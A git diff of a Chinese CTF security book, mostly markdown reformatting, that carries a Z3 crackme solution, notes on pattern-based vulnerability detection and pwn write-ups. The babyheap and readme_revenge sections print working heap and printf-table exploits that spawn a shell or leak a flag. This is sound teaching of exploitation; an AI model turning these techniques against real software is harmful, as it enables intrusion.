solver.add(serial[11] / serial[3] == 0) ``` + 因为被除数不能为 0,所以 `serial[3]` 不能为 0。另外,每个序列号数字都是大于等于 0,小于 9 的。最后求解得到结果。 完整的 exp 如下,其他文件在 [github](../src/others/5.8.1_z3) 相应文件夹中。 + ```python from z3 import * @@ -360,8 +381,9 @@ if solver.check() == sat: ``` Bingo!!! -``` -$ python exp.py + +```text +$ python exp.py serial[2] = 8 serial[11] = 0 serial[3] = 9 @@ -388,10 +410,11 @@ Please enter a valid serial number from your RoboCorpIntergalactic purchase #>42893724579039578812<# Thank you! Your product has been verified! ``` + 这一题简直是为 Z3 量身定做的,方法也很简单,但 Z3 远比这个强大,后面我们还会讲到它更高级的应用。 - ## 参考资料 + - [Z3一把梭:用约束求解搞定一类CTF题](https://zhuanlan.zhihu.com/p/30548907) - [Z3 API in Python](https://ericpony.github.io/z3py-tutorial/guide-examples.htm) - [z3py API](http://z3prover.github.io/api/html/index.html) diff --git a/doc/5.8_sat-smt.md b/doc/5.8_sat-smt.md index 99da957..9134d35 100644 --- a/doc/5.8_sat-smt.md +++ b/doc/5.8_sat-smt.md @@ -2,7 +2,7 @@ - [参考资料](#参考资料) - ## 参考资料 + - [Quick introduction into SAT/SMT solvers and symbolic execution](https://yurichev.com/writings/SAT_SMT_draft-EN.pdf) - [Practical Symbolic Execution and SATisfiability Module Theories (SMT) 101](http://deniable.org/reversing/symbolic-execution) diff --git a/doc/5.9_pattern_based_analysis.md b/doc/5.9_pattern_based_analysis.md index 53da200..f6f7ad8 100644 --- a/doc/5.9_pattern_based_analysis.md +++ b/doc/5.9_pattern_based_analysis.md @@ -3,15 +3,16 @@ - [基本原理](#基本原理) - [方法实现](#方法实现) - ## 基本原理 + 基于模式的漏洞分析能够比较精确地通过形式化描述证明软件系统的执行,并能够以自动机的形式化语言对软件程序进行形式化建模,从而合理地描述模式中各个模块的不同属性和属性之间的依赖关系,方便分析人员对软件系统的检测和分析。 在对软件程序进行模式分析之前,需要进行不同漏洞模式的构建,以待后续进行基于模式的匹配分析。根据不同漏洞模式触发原理和触发机制,分析各个软件模块的不同属性和依赖关系,从中抽象出漏洞触发的核心条件,并建立基于形式化语言或描述性语言的漏洞模式。漏洞模式建立后,下一步将针对二进制抽象进行基于漏洞模式的分析检测,首先将程序反汇编,并将反汇编代码转化为中间表示。针对二进制程序的中间表示进一步分析出其相关属性信息描述,并针对其属性信息进行模式匹配和检测分析。 - ## 方法实现 -#### 反汇编分析 + +### 反汇编分析 + 利用反汇编技术可以将二进制代码转化为可理解程度更高的汇编级代码。 - 基本算法 @@ -23,16 +24,19 @@ - 基于控制流的递归扫描策略:为了避免把数据误认为指令,递归扫描算法重视控制流对反汇编过程的影响,控制流根据某一条指令是否被另一条指令引用来决定是否对其进行反汇编。 将程序反汇编后,可以得到许多程序分析的重要信息: + - 反汇编文本:包括汇编指令信息以及控制流信息等 - 函数信息:包括函数入口地址、长度、参数、导入导出表等 - 交叉引用:包括代码交叉引用和数据交叉引用 反汇编的不足: + - 区分数据和代码十分困难 - 静态反汇编不能得到动态信息 - 指令长度是可变的,导致难以确定指令的结束位置 -#### 逆向中间表示 +### 逆向中间表示 + - 逆向中间表示的设计原则: - 使用精简指令集,能够极大地减少汇编语言的指令数目,而且每条指令都采用标准字长,能够简化分析过程 - 使用足够多的寄存器数量,以保证中间语言能够满足不同处理器架构的需求 @@ -41,13 +45,16 @@ 目前常用的中间表示有:REIL、VEX、Vine 等。 -#### 漏洞模式建模和检测 +### 漏洞模式建模和检测 + 缓冲区溢出类漏洞模式: + - 不安全函数调用模式。不安全函数主要包括一些没有判断输入长度的内存和字符串操作函数,如 strcpy,其原型是 `char *strcpy(char *dest, const char *src);`,为其建立漏洞模式首先需要获取目标地址缓冲区大小和源数据缓冲区大小,如果源缓冲区大于目的缓冲区,则存在溢出。 1. 根据定义的不安全函数库,搜索定位程序中调用不安全函数的位置 2. 针对不同的不安全函数,定位源缓冲区和目的缓冲区,并通过回溯程序,确定源缓冲区和目的缓冲区的大小和位置关系以及源缓冲区数据是否可控 3. 根据定义的基于不安全函数的缓冲区溢出模式,判断是否会发生缓冲区溢出漏洞 - 循环写内存模式。如果一个程序的写缓冲区操作发生在循环中,且循环次数是用户可控的,就可能发生溢出,如: + ```c taint_data = fread(); buffer[256]; @@ -58,11 +65,13 @@ index++; } // 如果 taint_size > buffer_size,则会发生溢出 ``` + 1. 定位程序中的循环写内存操作的位置 2. 通过回溯程序,做三方面的判断,即判断循环控制变量是否可控和程序对循环变量的验证是否完备、判断目的缓冲区是否位于关键的内存区域、判断源缓冲区的数据来源是否可控 3. 根据回溯程序的结果,给出检测结果、即循环控制变量可控且验证不完备且目的缓冲区位于关键内存区域,即存在缓冲区溢出漏洞 整数溢出类漏洞模式: + - 整型运算以及赋值操作的抽象表示。 - `Operation(addr) = {(opcode, result, loperand, roperand)}` - Operation(addr) 表示地址为 addr 的算术运算;result 表示运算结果的类型,opcode 表示运算名称,loperand 和 roperand 分别表示运算的左右操作数 @@ -74,6 +83,7 @@ 3. 根据漏洞模式匹配情况和溢出造成的危险操作,得到最终结果 内存地址对象破坏性调用漏洞模式:如 use-after-free。 + 1. 需要分析函数的功能,检测是否存在内存地址释放型函数以及内存地址调用型函数 2. 检测函数调用的顺序是否正常 3. 检测函数调用过程中,是否针对特定对象发生内存地址破坏性调用的异常情况,如果存在,则说明存在漏洞 diff --git a/doc/6.1.10_pwn_0ctf2017_babyheap2017.md b/doc/6.1.10_pwn_0ctf2017_babyheap2017.md index d9301e9..c943743 100644 --- a/doc/6.1.10_pwn_0ctf2017_babyheap2017.md +++ b/doc/6.1.10_pwn_0ctf2017_babyheap2017.md @@ -5,30 +5,34 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.10_pwn_0ctf2017_babyheap2017) ## 题目复现 + 这个题目给出了二进制文件。在 Ubuntu 16.04 上,libc 就用自带的。 -``` -$ file babyheap + +```text +$ file babyheap babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped $ checksec -f babyheap RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH Yes 0 2 babyheap -$ file /lib/x86_64-linux-gnu/libc-2.23.so +$ file /lib/x86_64-linux-gnu/libc-2.23.so /lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped ``` + 64 位程序,保护全开。 把它运行起来: -``` -socat tcp4-listen:10001,reuseaddr,fork exec:./babyheap & + +```text +$ socat tcp4-listen:10001,reuseaddr,fork exec:./babyheap & ``` 一个典型的堆利用题目: -``` -$ ./babyheap + +```text +$ ./babyheap ===== Baby Heap in 2017 ===== 1. Allocate 2. Fill @@ -59,7 +63,7 @@ Command: 1. Allocate // 似乎触发了什么 bug,如果是9个a就没事 5. Exit Command: 4 // 打印出 chunk 的内容,长度是新建时的长度,而不是放入数据的长度 Index: 0 -Content: +Content: aaaaa 1. Allocate 2. Fill @@ -76,16 +80,18 @@ Index: 0 Command: 5 ``` - ## 题目解析 + 根据前面所学的知识,我们知道释放且只释放了一个 chunk 后,该 free chunk 会被加入到 unsorted bin 中,它的 fd/bk 指针指向了 libc 中的 main_arena 结构。我们已经知道了 Fill 数据的操作存在溢出漏洞,但并没有发现 UAF 漏洞,所以要想泄露出 libc 基址,得利用 Dump 操作。另外内存分配使用了 calloc 函数,这个函数与 malloc 的区别是,calloc 会将分配的内存空间每一位都初始化为 0,所以也不能通过分配和释放几个小 chunk,再分配一个大 chunk,来泄露其内容。 怎么利用 Dump 操作呢?如果能使两个 chunk 相重叠,Free 一个,Dump 另一个,或许可行。 - ## 漏洞利用 -#### leak libc + +### leak libc + 还是一样的,为了方便调试,先关掉 ASLR。首先分配 3 个 fast chunk 和 1 个 small chunk,其实填充数据对漏洞利用是没有意义的,这里只是为了方便观察: + ```python alloc(0x10) alloc(0x10) @@ -98,7 +104,8 @@ fill(2, "A"*16) fill(3, "A"*16) fill(4, "A"*128) ``` -``` + +```text gef➤ x/40gx 0x0000555555757010-0x10 0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0 0x555555757010: 0x4141414141414141 0x4141414141414141 @@ -132,16 +139,19 @@ gef➤ x/20gx 0xafc966564d0-0x10 0xafc96656540: 0x0000000000000000 0x0000000000000000 0xafc96656550: 0x0000000000000000 0x0000000000000000 ``` + 另外我们看到,chunk 的序号被存储到一个 mmap 分配出来的结构体中,包含了 chunk 的地址和大小。程序就是通过该结构体寻找 chunk,然后各种操作的。 free 掉两个 fast chunk,这样 chunk 2 的 fd 指针会被指向 chunk 1: + ```python free(1) free(2) ``` -``` -gef➤ x/2gx &main_arena -0x7ffff7dd1b20 : 0x0000000000000000 0x0000555555757040 + +```text +gef➤ x/2gx &main_arena +0x7ffff7dd1b20 : 0x0000000000000000 0x0000555555757040 gef➤ heap bins fast [ Fastbins for arena 0x7ffff7dd1b20 ] Fastbins[idx=0, size=0x10] ← Chunk(addr=0x555555757050, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x555555757030, size=0x20, flags=PREV_INUSE) @@ -178,9 +188,11 @@ gef➤ x/20gx 0xafc966564d0-0x10 0xafc96656540: 0x0000000000000000 0x0000000000000000 0xafc96656550: 0x0000000000000000 0x0000000000000000 ``` + free 掉的 chunk,其结构体被清空,等待下一次 malloc,并添加到空出来的地方。 通过溢出漏洞修改已被释放的 chunk 2,让 fd 指针指向 chunk 4,这样就将 small chunk 加入到了 fastbins 链表中,然后还需要把 chunk 4 的 0x91 改成 0x21 以绕过 fastbins 大小的检查: + ```python payload = "A"*16 payload += p64(0) @@ -197,9 +209,10 @@ payload += p64(0) payload += p64(0x21) fill(3, payload) ``` -``` -gef➤ x/2gx &main_arena -0x7ffff7dd1b20 : 0x0000000000000000 0x0000555555757040 + +```text +gef➤ x/2gx &main_arena +0x7ffff7dd1b20 : 0x0000000000000000 0x0000555555757040 gef➤ heap bins fast [ Fastbins for arena 0x7ffff7dd1b20 ] Fastbins[idx=0, size=0x10] ← Chunk(addr=0x555555757050, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x555555757090, size=0x20, flags=PREV_INUSE) ← [Corrupted chunk at 0x4141414141414151] @@ -227,6 +240,7 @@ gef➤ x/40gx 0x0000555555757010-0x10 ``` 现在我们再分配两个 chunk,它们都会从 fastbins 中被取出来,而且 new chunk 2 会和原来的 chunk 4 起始位置重叠,但前者是 fast chunk,而后者是 small chunk,即一个大 chunk 里包含了一个小 chunk,这正是我们需要的: + ```python alloc(0x10) alloc(0x10) @@ -234,9 +248,10 @@ fill(1, "B"*16) fill(2, "C"*16) fill(4, "D"*16) ``` -``` -gef➤ x/2gx &main_arena -0x7ffff7dd1b20 : 0x0000000000000000 0x4141414141414141 + +```text +gef➤ x/2gx &main_arena +0x7ffff7dd1b20 : 0x0000000000000000 0x4141414141414141 gef➤ x/40gx 0x0000555555757010-0x10 0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0 0x555555757010: 0x4141414141414141 0x4141414141414141 @@ -270,9 +285,11 @@ gef➤ x/20gx 0xafc966564d0-0x10 0xafc96656540: 0x0000000000000000 0x0000000000000000 0xafc96656550: 0x0000000000000000 0x0000000000000000 ``` + 可以看到新分配的 chunk 2,填补到了被释放的 chunk 2 的位置上。 再次利用溢出漏洞将 chunk 4 的 0x21 改回 0x91,然后为了避免 free(4) 后该 chunk 被合并进 top chunk,需要再分配一个 small chunk: + ```python payload = "A"*16 payload += p64(0) @@ -282,7 +299,8 @@ fill(3, payload) alloc(0x80) fill(5, "A"*128) ``` -``` + +```text gef➤ x/60gx 0x0000555555757010-0x10 0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0 0x555555757010: 0x4141414141414141 0x4141414141414141 @@ -328,11 +346,13 @@ gef➤ x/20gx 0xafc966564d0-0x10 ``` 这时,如果我们将 chunk 4 释放掉,其 fd 指针会被设置为指向 unsorted bin 链表的头部,这个地址在 libc 中,且相对位置固定,利用它就可以算出 libc 被加载的地址: + ```python free(4) ``` -``` -gef➤ heap bins unsorted + +```text +gef➤ heap bins unsorted [ Unsorted Bin for arena 'main_arena' ] [+] unsorted_bins[0]: fw=0x555555757080, bk=0x555555757080 → Chunk(addr=0x555555757090, size=0x90, flags=PREV_INUSE) @@ -381,24 +401,28 @@ gef➤ x/20gx 0xafc966564d0-0x10 ``` 最后利用 Dump 操作即可将地址泄漏出来: + ```python leak = u64(dump(2)[:8]) libc = leak - 0x3c4b78 # 0x3c4b78 = leak - libc __malloc_hook = libc - 0x3c4b10 # readelf -s libc.so.6 | grep __malloc_hook@ one_gadget = libc - 0x4526a ``` -``` + +```text [*] leak => 0x7ffff7dd1b78 [*] libc => 0x7ffff7a0d000 [*] __malloc_hook => 0x7ffff7dd1b10 [*] one_gadget => 0x7ffff7a5226a ``` -#### get shell -由于开启了 Full RELRO,改写 GOT 表是不行了。考虑用 `__malloc_hook`,它是一个弱类型的函数指针变量,指向 ` void * function(size_t size, void * caller)`,当调用 malloc() 时,首先判断 hook 函数指针是否为空,不为空则调用它。所以这里我们传入一个 one-gadget 即可(详情请查看章节4.6)。 +### get shell + +由于开启了 Full RELRO,改写 GOT 表是不行了。考虑用 `__malloc_hook`,它是一个弱类型的函数指针变量,指向 `void * function(size_t size, void * caller)`,当调用 malloc() 时,首先判断 hook 函数指针是否为空,不为空则调用它。所以这里我们传入一个 one-gadget 即可(详情请查看章节4.6)。 首先考虑怎样利用 fastbins 在 `__malloc_hook` 指向的地址处写入 one_gadget 的地址。这里有一个技巧,地址偏移,就像下面这样构造一个 fake chunk,其大小为 0x7f,也就是一个 fast chunk: -``` + +```text gef➤ x/10gx (long long)(&main_arena)-0x30 0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x00007ffff7dd0260 0x0000000000000000 0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x00007ffff7a92a00 @@ -412,13 +436,16 @@ gef➤ x/10gx (long long)(&main_arena)-0x30+0xd 0x7ffff7dd1b2d: 0x0000000000414141 0x0000000000000000 0x7ffff7dd1b3d: 0x0000000000000000 0x0000000000000000 ``` + 用本地的泄露地址减去 libc 地址得到偏移: -``` + +```text [0x00000000]> ?v 0x7ffff7dd1b78 - 0x7ffff7a0d000 0x3c4b78 ``` 之前 free 掉的 chunk 4 一个 small chunk,被添加到了 unsorted bin 中,而这里我们需要的是 fast chunk,所以这里采用分配一个 fast chunk,再释放掉的办法,将其添加到 fast bins 中。然后改写它的 fd 指针指向 fake chunk(当然也要通过 libc 偏移计算出来): + ```python alloc(0x60) free(4) @@ -426,8 +453,9 @@ free(4) payload = p64(libc + 0x3c4afd) fill(2, payload) ``` -``` -gef➤ heap bins unsorted + +```text +gef➤ heap bins unsorted [ Unsorted Bin for arena 'main_arena' ] [+] unsorted_bins[0]: fw=0x5555557570f0, bk=0x5555557570f0 → Chunk(addr=0x555555757100, size=0x20, flags=PREV_INUSE) @@ -465,6 +493,7 @@ gef➤ x/60gx 0x0000555555757010-0x10 ``` 连续两次分配,第一次将 fake chunk 添加到 fast bins,第二次分配 fake chunk,分别是 new new chunk 4 和 chunk 6。然后就可以改写 `__malloc_hook` 的地址,将其指向 one-gadget: + ```python alloc(0x60) alloc(0x60) @@ -473,7 +502,8 @@ payload = p8(0)*3 payload += p64(one_gadget) fill(6, payload) ``` -``` + +```text gef➤ x/10gx (long long)(&main_arena)-0x30 0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x00007ffff7dd0260 0x0000000000000000 0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x000000fff7a92a00 @@ -532,8 +562,9 @@ gef➤ x/30gx 0xafc966564d0-0x10 最后,只要调用了 malloc,就会触发 hook 函数,即 one-gadget。现在可以开启 ASLR 了,因为通过泄漏 libc 地址,我们已经完全绕过了它。 Bingo!!! -``` -$ python exp.py + +```text +$ python exp.py [+] Opening connection to 127.0.0.1 on port 10001: Done [*] leak => 0x7f8c1be9eb78 [*] libc => 0x7f8c1bada000 @@ -546,8 +577,10 @@ firmy 本题多次使用 fastbin attack,确实经典。 -#### exploit +### exploit + 完整的 exp 如下: + ```python from pwn import * @@ -655,7 +688,7 @@ alloc(1) io.interactive() ``` - ## 参考资料 + - [0ctf Quals 2017 - BabyHeap2017](http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html) - [how2heap](https://github.com/shellphish/how2heap) diff --git a/doc/6.1.11_pwn_9447ctf2015_search_engine.md b/doc/6.1.11_pwn_9447ctf2015_search_engine.md index 003d88a..3f0880c 100644 --- a/doc/6.1.11_pwn_9447ctf2015_search_engine.md +++ b/doc/6.1.11_pwn_9447ctf2015_search_engine.md @@ -5,21 +5,23 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.11_pwn_9447ctf2015_search_engine) ## 题目复现 -``` -$ file search + +```text +$ file search search: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=4f5b70085d957097e91f940f98c0d4cc6fb3343f, stripped $ checksec -f search RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 1 3 search ``` + 64 位程序,开启了 NX 和 Canary。 玩一下,看名字就知道是一个搜索引擎,大概流程是这样的,首先给词库加入一些句子,句子里的单词以空格间隔开,然后可以搜索所有包含某单词的句子,当找到某条句子后,将其打印出来,并询问是否删除。 -``` + +```text $ ./search 1: Search with a word 2: Index a sentence @@ -59,12 +61,13 @@ n 3: Quit 3 ``` -根据经验,这是一道堆利用的题目。 +根据经验,这是一道堆利用的题目。 ## 题目解析 ## 漏洞利用 ## 参考资料 + - [how2heap](https://github.com/shellphish/how2heap) diff --git a/doc/6.1.12_pwn_n1ctf2018_vote.md b/doc/6.1.12_pwn_n1ctf2018_vote.md index c1620da..f262efd 100644 --- a/doc/6.1.12_pwn_n1ctf2018_vote.md +++ b/doc/6.1.12_pwn_n1ctf2018_vote.md @@ -5,21 +5,24 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.12_pwn_n1ctf2018_vote) ## 题目复现 + 这个题目给了二进制文件和 libc: -``` -$ file vote + +```text +$ file vote vote: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=53266adcfdcb7b21a01e9f2a1cb0396b818bfba3, stripped -$ checksec -f vote +$ checksec -f vote RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 4 vote ``` + 看起来就是个堆利用的问题: -``` -$ ./vote + +```text +$ ./vote 0: Create 1: Show 2: Vote @@ -28,17 +31,19 @@ $ ./vote 5: Exit Action: ``` + 然后就可以把它运行起来了: -``` + +```text $ socat tcp4-listen:10001,reuseaddr,fork exec:"env LD_PRELOAD=./libc-2.23.so ./vote" & ``` 另外出题人在 github 开源了题目的代码,感兴趣的也可以看一下。 - ## 题目解析 ## 漏洞利用 ## 参考资料 -https://ctftime.org/task/5490 + +- diff --git a/doc/6.1.13_pwn_34c3ctf2017_readme_revenge.md b/doc/6.1.13_pwn_34c3ctf2017_readme_revenge.md index 8c4601f..1924255 100644 --- a/doc/6.1.13_pwn_34c3ctf2017_readme_revenge.md +++ b/doc/6.1.13_pwn_34c3ctf2017_readme_revenge.md @@ -5,47 +5,53 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.13_pwn_34c3ctf2017_readme_revenge) ## 题目复现 + 这个题目实际上非常有趣。 -``` -$ file readme_revenge + +```text +$ file readme_revenge readme_revenge: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=2f27d1b57237d1ab23f8d0fc3cd418994c5b443d, not stripped $ checksec -f readme_revenge RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 3 45 readme_revenge ``` + 与我们经常接触的题目不同,这是一个静态链接程序,运行时不需要加载 libc。not stripped 绝对是个好消息。 -``` -$ ./readme_revenge +```text +$ ./readme_revenge aaaa Hi, aaaa. Bye. -$ ./readme_revenge +$ ./readme_revenge %x.%d.%p Hi, %x.%d.%p. Bye. $ python -c 'print("A"*2000)' > crash_input $ ./readme_revenge < crash_input Segmentation fault (core dumped) ``` + 我们试着给它输入一些字符,结果被原样打印出来,而且看起来也不存在格式化字符串漏洞。但当我们输入大量字符时,触发了段错误,这倒是一个好消息。 接着又发现了这个: -``` -$ rabin2 -z readme_revenge| grep 34C3 + +```text +$ rabin2 -z readme_revenge | grep 34C3 Warning: Cannot initialize dynamic strings 000 0x000b4040 0x006b4040 35 36 (.data) ascii 34C3_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX ``` + 看来 flag 是被隐藏在程序中的,地址在 `0x006b4040`,位于 `.data` 段上。结合题目的名字 readme,推测这题的目标应该是从程序中读取或者泄漏出 flag。 - ## 题目解析 + 因为 flag 在程序的 `.data` 段上,根据我们的经验,应该能想到利用 `__stack_chk_fail()` 将其打印出来(参考章节 4.12)。 main 函数如下: -``` + +```text [0x00400900]> pdf @ main ;-- main: / (fcn) sym.main 80 @@ -69,30 +75,32 @@ main 函数如下: | 0x00400a5b 5d pop rbp \ 0x00400a5c c3 ret ``` + 很简单,从标准输入读取字符串到变量 `name`,地址在 `0x6b73e0`,且位于 `.bss` 段上,是一个全局变量。接下来程序调用 printf 将 `name` 打印出来。 在 gdb 里试试: -``` -gdb-peda$ r < crash_input + +```text +gdb-peda$ r < crash_input Starting program: /home/firmy/Desktop/RE4B/readme/readme_revenge < crash_input Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x4141414141414141 ('AAAAAAAA') -RBX: 0x7fffffffd190 --> 0xffffffff -RCX: 0x7fffffffd160 --> 0x0 +RBX: 0x7fffffffd190 --> 0xffffffff +RCX: 0x7fffffffd160 --> 0x0 RDX: 0x73 ('s') -RSI: 0x0 +RSI: 0x0 RDI: 0x48d18b ("%s. Bye.\n") -RBP: 0x0 -RSP: 0x7fffffffd050 --> 0x0 +RBP: 0x0 +RSP: 0x7fffffffd050 --> 0x0 RIP: 0x45ad64 (<__parse_one_specmb+1300>: cmp QWORD PTR [rax+rdx*8],0x0) R8 : 0x48d18b ("%s. Bye.\n") -R9 : 0x4 +R9 : 0x4 R10: 0x48d18c ("s. Bye.\n") -R11: 0x7fffffffd160 --> 0x0 -R12: 0x0 -R13: 0x7fffffffd190 --> 0xffffffff +R11: 0x7fffffffd160 --> 0x0 +R12: 0x0 +R13: 0x7fffffffd190 --> 0xffffffff R14: 0x48d18b ("%s. Bye.\n") R15: 0x1 EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) @@ -106,13 +114,13 @@ EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow 0x45ad74 <__parse_one_specmb+1316>: mov rsi,rbx 0x45ad77 <__parse_one_specmb+1319>: addr32 call 0x44cfa0 <__handle_registered_modifier_mb> [------------------------------------stack-------------------------------------] -0000| 0x7fffffffd050 --> 0x0 +0000| 0x7fffffffd050 --> 0x0 0008| 0x7fffffffd058 --> 0x48d18c ("s. Bye.\n") -0016| 0x7fffffffd060 --> 0x0 -0024| 0x7fffffffd068 --> 0x0 +0016| 0x7fffffffd060 --> 0x0 +0024| 0x7fffffffd068 --> 0x0 0032| 0x7fffffffd070 --> 0x7fffffffd5e0 --> 0x7fffffffdb90 --> 0x7fffffffdc80 --> 0x4014a0 (<__libc_csu_init>: push r15) -0040| 0x7fffffffd078 --> 0x7fffffffd190 --> 0xffffffff -0048| 0x7fffffffd080 --> 0x7fffffffd190 --> 0xffffffff +0040| 0x7fffffffd078 --> 0x7fffffffd190 --> 0xffffffff +0048| 0x7fffffffd080 --> 0x7fffffffd190 --> 0xffffffff 0056| 0x7fffffffd088 --> 0x443153 (: mov r14,QWORD PTR [r12+0x20]) [------------------------------------------------------------------------------] Legend: code, data, rodata, value @@ -122,26 +130,29 @@ gdb-peda$ x/8gx &name 0x6b73e0 : 0x4141414141414141 0x4141414141414141 0x6b73f0 : 0x4141414141414141 0x4141414141414141 0x6b7400 <_dl_tls_static_used>: 0x4141414141414141 0x4141414141414141 -0x6b7410 <_dl_tls_max_dtv_idx>: 0x4141414141414141 0x4141414141414141 +0x6b7410 <_dl_tls_max_dtv_idx>: 0x4141414141414141 0x4141414141414141 ``` + 程序的漏洞很明显了,就是缓冲区溢出覆盖了 libc 静态编译到程序里的一些指针。再往下看会发现一些可能有用的: -``` -gdb-peda$ + +```text +gdb-peda$ 0x6b7978 <__libc_argc>: 0x4141414141414141 -gdb-peda$ +gdb-peda$ 0x6b7980 <__libc_argv>: 0x4141414141414141 -gdb-peda$ +gdb-peda$ 0x6b7a28 <__printf_function_table>: 0x4141414141414141 -gdb-peda$ +gdb-peda$ 0x6b7a30 <__printf_modifier_table>: 0x4141414141414141 -gdb-peda$ +gdb-peda$ 0x6b7aa8 <__printf_arginfo_table>: 0x4141414141414141 -gdb-peda$ +gdb-peda$ 0x6b7ab0 <__printf_va_arg_table>: 0x4141414141414141 ``` 再看一下栈回溯情况吧: -``` + +```text gdb-peda$ bt #0 0x000000000045ad64 in __parse_one_specmb () #1 0x0000000000443153 in printf_positional () @@ -152,7 +163,9 @@ gdb-peda$ bt #6 0x0000000000400efd in __libc_start_main () #7 0x000000000040092a in _start () ``` + 依次调用了 `printf() => vfprintf() => printf_positional() => __parse_one_specmb()`。那就看一下 glibc 源码,然后发现了这个: + ```c // stdio-common/vfprintf.c @@ -162,6 +175,7 @@ gdb-peda$ bt || __printf_va_arg_table != NULL)) goto do_positional; ``` + ```c // stdio-common/printf-parsemb.c @@ -181,6 +195,7 @@ gdb-peda$ bt ``` 这里就涉及到 glibc 的一个特性,它允许用户为 printf 的模板字符串(template strings)定义自己的转换函数,方法是使用函数 `register_printf_function()`: + ```c // stdio-common/printf.h @@ -188,6 +203,7 @@ extern int register_printf_function (int __spec, printf_function __func, printf_arginfo_function __arginfo) __THROW __attribute_deprecated__; ``` + - 该函数为指定的字符 `__spec` 定义一个转换规则。因此如果 `__spec` 是 `Y`,它定义的转换规则就是 `%Y`。用户甚至可以重新定义已有的字符,例如 `%s`。 - `__func` 是一个函数,在对指定的 `__spec` 进行转换时由 `printf` 调用。 - `__arginfo` 也是一个函数,在对指定的 `__spec` 进行转换时由 `parse_printf_format` 调用。 @@ -195,6 +211,7 @@ extern int register_printf_function (int __spec, printf_function __func, 想一下,在程序的 main 函数中,使用 `%s` 调用了 `printf`,如果我们能重新定义一个转换规则,就能做利用 `__func` 做我们想做的事情。然而我们并不能直接调用 `register_printf_function()`。那么,如果利用溢出修改 `__printf_function_table` 呢,这当然是可以的。 `register_printf_function()` 其实也就是 `__register_printf_specifier()`,我们来看看它是怎么实现的: + ```c // stdio-common/reg-printf.c @@ -235,24 +252,28 @@ __register_printf_specifier (int spec, printf_function converter, return result; } ``` + 然后发现 `spec` 被直接用做数组 `__printf_function_table` 和 `__printf_arginfo_table` 的下标。`s` 也就是 `0x73`,这和我们在 gdb 里看到的相符:`rdx=0x73`,`[rax+rdx*8]`正好是数组取值的方式,虽然这里的 `rax` 里保存的是 `__printf_modifier_table`。 - ## 漏洞利用 + 有了上面的分析,下面我们来构造 exp。 回顾一下 `__parse_one_specmb()` 函数里的 `if` 判断语句,我们知道 C 语言对 `||` 的处理机制是如果第一个表达式为 True,就不再进行第二个表达式的判断,所以为了执行函数 `*__printf_arginfo_table[spec->info.spec]`,需要前面的判断条件都为 False。我们可以在 `.bss` 段上伪造一个 `printf_arginfo_size_function` 结构体,在结构体偏移 `0x73*8` 的地方放上 `__stack_chk_fail()` 的地址,当该函数执行时,将打印出 `argv[0]` 指向的字符串,所以我们还需要将 `argv[0]` 覆盖为 flag 的地址。 Bingo!!! -``` -$ python2 exp.py + +```text +$ python2 exp.py [+] Starting local process './readme_revenge': pid 14553 [*] Switching to interactive mode *** stack smashing detected ***: 34C3_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX terminated ``` -#### exploit +### exploit + 完整的 exp 如下: + ```python from pwn import * @@ -282,7 +303,7 @@ io.sendline(payload) io.interactive() ``` - ## 参考资料 -- https://ctftime.org/task/5135 + +- - [Customizing printf](https://www.gnu.org/software/libc/manual/html_node/Customizing-Printf.html) diff --git a/doc/6.1.14_pwn_32c3ctf2015_readme.md b/doc/6.1.14_pwn_32c3ctf2015_readme.md index d27f221..29d1f99 100644 --- a/doc/6.1.14_pwn_32c3ctf2015_readme.md +++ b/doc/6.1.14_pwn_32c3ctf2015_readme.md @@ -5,54 +5,59 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.14_pwn_32c3ctf2015_readme) ## 题目复现 -``` -$ file readme.bin + +```text +$ file readme.bin readme.bin: 